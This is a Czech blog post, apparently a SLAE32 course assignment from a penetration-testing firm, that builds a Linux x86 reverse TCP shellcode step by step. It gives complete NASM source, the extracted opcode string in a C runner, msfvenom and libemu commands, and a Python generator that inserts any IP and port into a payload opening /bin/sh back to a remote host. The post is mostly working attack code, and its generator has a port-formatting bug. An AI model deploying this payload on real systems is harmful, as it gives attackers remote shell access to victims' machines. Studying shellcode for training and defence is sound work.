Shell_Reverse_Tcp 32bitový Shellcode

Ve druhém textu této série bude demonstrováno, jak si vytvořit vlastní 32bitový reverse tcp shellcode s konfigurovatelným nastavením portu.

Jako inspirace bude použit shell_reverse_tcp z msfvenom, který bude analyzován pomocí libemu.

Všechny povinné možnosti nastavení můžeme vidět pomocí:

  • msfvenom -p linux/x86/shell_reverse_tcp ––list-options

Jsou zde tři povinné nastavení a to „LPORT“, „LHOST“ a „CMD“.

Shellcode v C si můžeme vytvořit pomocí:

  • msfvenom -p linux/x86/shell_reverse_tcp LPORT=9001 LHOST=127.0.0.1 -f c

Potom můžeme pomocí jednoduchého C skriptu spočítat délku shellcode:

Následně zkompilujeme C script a spustíme jej:

  • gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
  •  

Jak můžeme vidět na screenu výše, shellcode byl úspěšně spuštěn a došlo k otevření shell na portu 9001 na localhostu. Nyní můžeme shellcode analyzovat pomocí libemu.

  • echo -ne “\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x00\x00\x01\x68\x02\x00\x23\x29\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80” | /opt/libemu/tools/sctest/sctest -vvv -Ss 100000 -G shellcode.dot
  • dot shellcode.dot -T png -o shellcode.png

Můžeme vidět, že shell_reverse_tcp používá tyto syscally:

socket -> dup2 -> connect -> execve

Pomocí nástroje strace můžeme vidět, jaké parametry syscally používají:

  • strace -e socket,dup2,connect,execve ./shellcode

Více informací o syscallu socket najdeme pomocí “man 2 socket” => int socket(int domain, int type, int protocol); budeme potřebovat celkem 4 registry.

Hodnoty najdeme pomocí:

  • grep -R “_INET” /usr/include/
    • PF_INET = 2
  • grep -R “SOCK_STREAM” /usr/include/
    • SOCK_STREAM = 1
  • grep -R “IPPROTO_IP” /usr/include/
    • IPPROTO_IP = 0

Nyní můžeme vytvořit první část v assembly:

; Filename: linux_x86_shell_reverse_tcp.nasm
; Author: SLAE-14209
 
global _start
 
section .text
 
_start:
 
; 1. syscall socket()
 
  xor eax, eax        ; zeroize EAX register
  xor ebx, ebx        ; zeroize EBX register
  xor ecx, ecx        ; zeroize ECX register
  xor edx, edx        ; zeroize EDX register
  
  mov ax, 0x167       ; syscall socket
  mov bl, 0x2         ; AF_INET = 2
  mov cl, 0x1         ; SOCKET_STREAM = 1
  int 0x80            ; interrupt vector
  mov edi, eax        ; storing EAX into EDI for future references

Jako další budeme potřebovat dup2 syscall:

  • cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep dup2
    • #define __NR_dup2 63 => EAX 0x3F
  • man 2 dup2
    • int dup2(int oldfd, int newfd);
      • bude potřeba udělat 3x loop ECX:
        • STDIN
        • STDOUT
        • STDERR

Všechny požadované argumenty pro dup2 jsou v sockfd, který je uložený v accept() syscallu => EDI

; 2. syscall dup2()
 
  mov cl, 0x3        ; counter = 3
  
  loop_dup2:
  xor eax, eax       ; zeroize because of placing dup2()
  mov al, 0x3f       ; syscall dup2()
  mov ebx, edi       ; reference on stored EDI
  dec cl             ; decrementing counter by 1
  int 0x80
  
  jnz loop_dup2      ; jmp not zero

Jako další budeme potřebovat connect syscall:

  • cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep connect
    • #define __NR_connect 362 => 0x16a
  • man 2 connect
    • int connect(int sockfd, const struct sockaddr *addr,

                   socklen_t addrlen);

  • connect = EAX 0x16a
  • sockfd = EBX => reference to socket (previous storing EAX into EDI)
  • *addr = ECX => pointer to location on the stack of the sockaddr struct we are going to create

Sockaddr struct (ECX) je složený z:

  • AF_INET => 2
  • Port number => 9001 decimal = 0x2329 hex => little endian = 0x2923
  • IP address 172.16.81.187 = 0xAC1051BB => little endian = 0xbb5110ac
  • 0
  • addrlen = EDX
    • length of the address which the /usr/include/linux/in.h =>
      • #define __SOCK_SIZE__   16              /* sizeof(struct sockaddr)      */ => 16

Stack roste z vyšších hodnot k nižším, proto musíme umisťovat argumenty do stacku v obráceném pořadí a používat little endian formát.

; 3. syscall connect()
  
  xor eax, eax         ; zeroize EAX register
  mov ax, 0x16a        ; syscall connect()
  mov ebx, edi         ; reference to stored eax with socket()
  xor ecx, ecx         ; zeroize ECX register (=> sockaddr struct)
  push ecx             ; 0  
  push dword 0xbb5110ac ; IP address 172.16.81.187 = 0xAC1051BB => little endian = 0xbb5110ac
  push word 0x2923     ; push port number 9001 (little endian)
  push word 0x2        ; push AF_INET 2
  mov ecx, esp         ; Stack Pointer -> ECX
  mov dl, 16           ; addrlen (EDX) = 16
  int 0x80

Jako další budeme potřebovat execve syscall:

  • cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep execve
    • #define __NR_execve 11 => 0xb
  • man 2 execve:
    • int execve(const char *pathname, char *const argv[],

                  char *const envp[]);

  • execve = EAX
  • pathname = EBX = ‘//bin/sh’ (length 8) terminated by null byte
    • python
      • code = ‘//bin/sh’
      • code[::-1].encode(‘hex’)
      • 0x68732f6e    ; ‘hs/n” 
      • 0x69622f2f    ; ‘ib//’
  • argv = ECX 0
  • envp = EDX 0
; 4. syscall execve()
 
  xor eax, eax       ; zeroize because of placing execve()
  push eax
  push 0x68732f6e    ; 'hs/n"
  push 0x69622f2f    ; 'ib//'
  mov ebx, esp       ; '//bin/sh' -> ESP
  
  push eax           ; push 0
  mov edx, esp
 
  push ebx
  mov ecx, esp
  mov al, 0xb        ; syscall execve()
  int 0x80

Kompletní nasm soubor můžete nalézt zde  https://github.com/Pal1Sec/SLAE32/blob/master/Assignment%202/linux_x86_shell_reverse_tcp.nasm

Nasm soubor zkompilujeme:

  • nasm -f elf32 -o linux_x86_shell_reverse_tcp.o linux_x86_shell_reverse_tcp.nasm
  • ld linux_x86_shell_reverse_tcp.o -o linux_x86_shell_reverse_tcp

A spustíme:

Jak můžeme vidět výše reverse shellcode funguje a připojí se na port 9001.

Dále si extrahujeme shellcode:

  • objdump -d ./linux_x86_shell_reverse_tcp|grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-6 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ” -s |sed ‘s/^/”/’|sed ‘s/$/”/g’

Vložíme do původního C skriptu:

#include<stdio.h>
#include<string.h>
 
unsigned char code[] = \
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc7\xb1\x03\x31\xc0\xb0\x3f\x89\xfb\xfe\xc9\xcd\x80\x75\xf4\x31\xc0\x66\xb8\x6a\x01\x89\xfb\x31\xc9\x51\x68\xac\x10\x51\xbb\x66\x68\x23\x29\x66\x6a\x02\x89\xe1\xb2\x10\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
 
main()
{
printf("Shellcode Lenght: %d\n", strlen(code));
 
int (*ret)() = (int(*)())code;
 
ret();
 
}

Zkompilujeme:

  • gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Jak můžeme vidět, vše funguje. Pro zajímavost můžeme zkusit test na virustotal:

Následně můžeme vše optimalizovat, aby byl port jednoduše konfigurovatelný, toho dosáhneme pomocí níže uvedeného python skriptu:

#!/usr/bin/env python3
import sys
import struct
import socket
import argparse
 
parser = argparse.ArgumentParser()
parser.add_argument("-i", "--ip")
parser.add_argument('-p', "--port")
args = parser.parse_args()
port = int(args.port)
ip = args.ip
port = struct.pack("!H", port)
port = ("{}".format(''.join('\\x{:02}'.format(b) for b in port)))
ip = socket.inet_aton(ip)
ip = str(ip).lstrip("b'")
ip = ip.rstrip("'")
 
shellcode = """
\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\x66\\xb8\\x67\\x01\\xb3\\x02\\xb1\\x01\\xcd\\x80\\x89\\xc7\\xb1\\x03\\x31\\xc0\\xb0\\x3f\\x89\\xfb\\xfe\\xc9\\xcd\\x80\\x75\\xf4\\x31\\xc0\\x66\\xb8\\x6a\\x01\\x89\\xfb\\x31\\xc9\\x51\\%s
\\x66\\x68%s
\\x66\\x6a\\x02\\x89\\xe1\\xb2\\x10\\xcd\\x80\\x31\\xc0\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x50\\x89\\xe2\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80""" % (ip, port)
 
print ("Shellcode:")
print(shellcode.replace("\n", ""))

Všechny použité soubory můžete nalézt zde: https://github.com/Pal1Sec/SLAE32

Naše služby

Penetrační testování infrastruktury

Skenování zranitelností webových aplikací a interní infrastruktury

Testování pomocí metod sociálního inženýrství

Testování Wi-Fi sítí

Šifrovaný telefon

Rušičky odposlechů

Šifrovaný disk

Penetrační testování webových aplikací

Konzultace IT bezpečnosti

Vyhledávání odposlechů

Následující příspěvek
Analýza 32bitového Egghunter Shellcodu
Předchozí příspěvek
Shell_Bind_Tcp 32bitový Shellcode
Menu